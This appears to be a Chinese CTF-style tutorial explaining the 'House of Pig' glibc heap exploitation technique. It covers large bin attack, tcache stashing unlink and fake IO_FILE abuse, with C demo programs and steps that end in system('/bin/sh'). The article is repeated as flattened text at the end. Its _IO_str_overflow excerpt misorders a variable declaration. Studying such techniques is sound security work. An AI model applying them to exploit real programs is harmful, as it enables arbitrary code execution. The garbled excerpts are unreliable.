回炉重修之house of pig 前置知识和带源码io解析
字数 1914 2025-08-22 12:22:36

House of Pig 漏洞利用技术详解

一、前置知识概述

House of Pig 是一种结合了多种堆利用技术的高版本libc攻击方法,主要适用于glibc 2.31-2.34版本。该技术需要以下条件:

  1. 可以通过large bin attack或其他方法覆盖_IO_list_all为堆地址并伪造IO_file结构
  2. 存在calloc函数(通常通过malloc、memcpy、free组合实现)
  3. 存在tcache_stashing unlink漏洞

二、关键技术组件

1. 2.31版本后的Large Bin Attack

利用条件:

  • libc版本:2.31-2.35
  • 可以分配两个不同大小的chunk(一个到unsorted bin,一个到largebin)
  • 从unsorted bin进入large bin的chunk的size要小于原large bin的size
  • 可以通过UAF或溢出漏洞修改chunk的bk_nextsizetarget_addr-0x20

实现效果:

往目标地址中写入一个chunk的地址值

漏洞原理:

在glibc 2.31中新增了两个检查:

if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
    malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
if (bck->fd != fwd)
    malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

攻击路径:

if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) {
    fwd = bck;
    bck = bck->bk;
    victim->fd_nextsize = fwd->fd;
    victim->bk_nextsize = fwd->fd->bk_nextsize;
    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}

测试demo:

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

int main(){
    size_t target = 0;
    size_t *p1 = malloc(0x428);
    size_t *g1 = malloc(0x18);
    size_t *p2 = malloc(0x418);
    size_t *g2 = malloc(0x18);
    
    free(p1);
    size_t *g3 = malloc(0x438);
    free(p2);
    
    p1[3] = (size_t)((&target)-4);
    size_t *g4 = malloc(0x438);
    
    assert((size_t)(p2-2) == target);
    return 0;
}

2. Tcache Stashing Unlink

攻击条件:

  • 将一个任意地址当做堆块放入到tcache中
  • 选定一个size n,释放五个大小为n的堆块进入到tcache bin
  • 精心准备让一个堆块进入到unsorted bin中,同时修改这个堆块的size变为n,再让其进入到small bin中
  • 再重复构造一个同样size为n的堆块进入small bin后,修改该堆块的bk指针为&target - 0x10
  • &target + 8的位置要存放有任意一个可写的地址
  • 使用calloc申请一个size为n的堆块

核心代码:

while (tcache->counts[tc_idx] < mp_.tcache_count && 
       (tc_victim = last (bin)) != bin) {
    if (tc_victim != 0) {
        bck = tc_victim->bk; // 关键点:没有检查bck的完整性
        set_inuse_bit_at_offset (tc_victim, nb);
        bin->bk = bck;
        bck->fd = bin; // 可以写入main_arena+96的地址
        tcache_put (tc_victim, tc_idx);
    }
}

测试demo:

#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>

static uint64_t victim[4] = {0, 0, 0, 0};

int main(int argc, char **argv){
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    
    char *t1;
    char *s1, *s2, *pad;
    char *tmp;
    
    tmp = malloc(0x1);
    victim[1] = (uint64_t)(&victim);
    
    for(int i=0; i<5; i++){
        t1 = calloc(1, 0x50);
        free(t1);
    }
    
    s1 = malloc(0x420);
    pad = malloc(0x20);
    free(s1);
    malloc(0x3c0);
    malloc(0x100);
    
    s2 = malloc(0x420);
    pad = malloc(0x80);
    free(s2);
    malloc(0x3c0);
    malloc(0x100);
    
    *(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;
    calloc(1, 0x50);
    
    uint64_t *r = (uint64_t*)malloc(0x50);
    r[0] = 0xaa;
    r[1] = 0xbb;
    r[2] = 0xcc;
    r[3] = 0xdd;
    
    return 0;
}

3. Tcache Stashing Unlink++

增强版可以在将任意地址放入tcache的同时,往另一个任意地址写入libc地址。

测试demo:

#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>

static uint64_t victim[4] = {0, 0, 0, 0};
static uint64_t victim2 = 0;

int main(int argc, char **argv) {
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    
    char *t1;
    char *s1, *s2, *pad;
    char *tmp;
    
    tmp = malloc(0x1);
    victim[1] = (uint64_t)(&victim2)-0x10;
    
    for (int i=0; i<5; i++) {
        t1 = calloc(1, 0x50);
        free(t1);
    }
    
    s1 = malloc(0x420);
    pad = malloc(0x20);
    free(s1);
    malloc(0x3c0);
    malloc(0x100);
    
    s2 = malloc(0x420);
    pad = malloc(0x80);
    free(s2);
    malloc(0x3c0);
    malloc(0x100);
    
    *(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;
    calloc(1, 0x50);
    
    uint64_t *r = (uint64_t*)malloc(0x50);
    r[0] = 0xaa;
    r[1] = 0xbb;
    r[2] = 0xcc;
    r[3] = 0xdd;
    
    return 0;
}

三、IO_FILE利用

1. 高版本IO_str_overflow变化

在libc 2.31下,io_str_overflow函数的实现发生了变化:

int _IO_str_overflow (FILE *fp, int c) {
    size_t new_size = 2 * old_blen + 100;
    size_t old_blen = _IO_blen (fp); // fp->_IO_buf_end - fp->_IO_buf_base
    
    if (old_buf) {
        memcpy (new_buf, old_buf, old_blen);
        free (old_buf);
        fp->_IO_buf_base = NULL;
    }
    // ...
}

关键点:

  • 控制(fp)->_IO_buf_end - (fp)->_IO_buf_base可以控制malloc申请的chunk大小
  • 如果old_buf存在内容,会复制到new_buf然后free old_buf
  • 需要设置pos = fp->_IO_write_ptr - fp->_IO_write_base足够大

2. House of Pig利用思路

  1. malloc_hook设置为setcontext+61
  2. 触发_IO_str_overflow,在伪造的FILE结构体中设置好数据
  3. 控制rdx为可控制的地址
  4. _IO_str_overflow调用malloc触发setcontext,进行SROP

四、完整攻击流程

1. 攻击步骤

  1. 泄露libc和heap地址
  2. 构造largebin,进行第一次largebin attack,将__free_hook-0x8写上一个堆地址
  3. 为tcache_stashing_unlink plus做准备:在tcache链中放入五个chunk,在smallbin中放入两个chunk
  4. 进行tcache_stashing_unlink,将__free_hook-0x10链入tcache头
  5. 进行第二次largebin attack,将_IO_list_all覆盖成堆地址
  6. 伪造IO_FILE结构体:
    • 设置vtable指向_IO_str_jumps
    • 控制2 * (_IO_buf_end - _IO_buf_base) + 100等于目标tcache链的大小
    • _IO_buf_base指向的空间布置/bin/sh和system地址
  7. 触发exit调用链,最终通过free(old_buf)触发system('/bin/sh')

2. 关键伪造结构

fake_FILE[0xC0 / 8] = 0;                    // _mode
fake_FILE[0x28 / 8] = 0xfffffffffff;        // _IO_write_ptr
fake_FILE[0x30 / 8] = 0;                    // _IO_write_base
fake_FILE[0xD8 / 8] = _IO_str_jumps;        // vtable
fake_FILE[0x38 / 8] = chunk_1 + 0x20;       // _IO_buf_base
fake_FILE[0x40 / 8] = chunk_1 + 0x20 + 0x46; // _IO_buf_end

3. 调用链

exit -> _IO_cleanup -> _IO_flush_all_lockp -> _IO_str_overflow

五、防御与检测

  1. 检查large bin的完整性(glibc 2.30+已添加)
  2. 检查small bin的完整性
  3. 保护_IO_list_all等关键IO结构
  4. 使用tcache hardening技术

六、参考文献

  1. https://blog.csdn.net/qq_54218833/article/details/128575508
  2. glibc源码分析(2.31版本)
House of Pig 漏洞利用技术详解 一、前置知识概述 House of Pig 是一种结合了多种堆利用技术的高版本libc攻击方法,主要适用于glibc 2.31-2.34版本。该技术需要以下条件: 可以通过large bin attack或其他方法覆盖 _IO_list_all 为堆地址并伪造IO_ file结构 存在calloc函数(通常通过malloc、memcpy、free组合实现) 存在tcache_ stashing unlink漏洞 二、关键技术组件 1. 2.31版本后的Large Bin Attack 利用条件: libc版本:2.31-2.35 可以分配两个不同大小的chunk(一个到unsorted bin,一个到largebin) 从unsorted bin进入large bin的chunk的size要小于原large bin的size 可以通过UAF或溢出漏洞修改chunk的 bk_nextsize 为 target_addr-0x20 实现效果: 往目标地址中写入一个chunk的地址值 漏洞原理: 在glibc 2.31中新增了两个检查: 攻击路径: 测试demo: 2. Tcache Stashing Unlink 攻击条件: 将一个任意地址当做堆块放入到tcache中 选定一个size n,释放五个大小为n的堆块进入到tcache bin 精心准备让一个堆块进入到unsorted bin中,同时修改这个堆块的size变为n,再让其进入到small bin中 再重复构造一个同样size为n的堆块进入small bin后,修改该堆块的bk指针为 &target - 0x10 在 &target + 8 的位置要存放有任意一个可写的地址 使用calloc申请一个size为n的堆块 核心代码: 测试demo: 3. Tcache Stashing Unlink++ 增强版可以在将任意地址放入tcache的同时,往另一个任意地址写入libc地址。 测试demo: 三、IO_ FILE利用 1. 高版本IO_ str_ overflow变化 在libc 2.31下, io_str_overflow 函数的实现发生了变化: 关键点: 控制 (fp)->_IO_buf_end - (fp)->_IO_buf_base 可以控制malloc申请的chunk大小 如果 old_buf 存在内容,会复制到 new_buf 然后free old_buf 需要设置 pos = fp->_IO_write_ptr - fp->_IO_write_base 足够大 2. House of Pig利用思路 将 malloc_hook 设置为 setcontext+61 触发 _IO_str_overflow ,在伪造的FILE结构体中设置好数据 控制rdx为可控制的地址 _IO_str_overflow 调用malloc触发setcontext,进行SROP 四、完整攻击流程 1. 攻击步骤 泄露libc和heap地址 构造largebin,进行第一次largebin attack,将 __free_hook-0x8 写上一个堆地址 为tcache_ stashing_ unlink plus做准备:在tcache链中放入五个chunk,在smallbin中放入两个chunk 进行tcache_ stashing_ unlink,将 __free_hook-0x10 链入tcache头 进行第二次largebin attack,将 _IO_list_all 覆盖成堆地址 伪造IO_ FILE结构体: 设置 vtable 指向 _IO_str_jumps 控制 2 * (_IO_buf_end - _IO_buf_base) + 100 等于目标tcache链的大小 在 _IO_buf_base 指向的空间布置 /bin/sh 和system地址 触发 exit 调用链,最终通过 free(old_buf) 触发 system('/bin/sh') 2. 关键伪造结构 3. 调用链 五、防御与检测 检查large bin的完整性(glibc 2.30+已添加) 检查small bin的完整性 保护 _IO_list_all 等关键IO结构 使用tcache hardening技术 六、参考文献 https://blog.csdn.net/qq_ 54218833/article/details/128575508 glibc源码分析(2.31版本)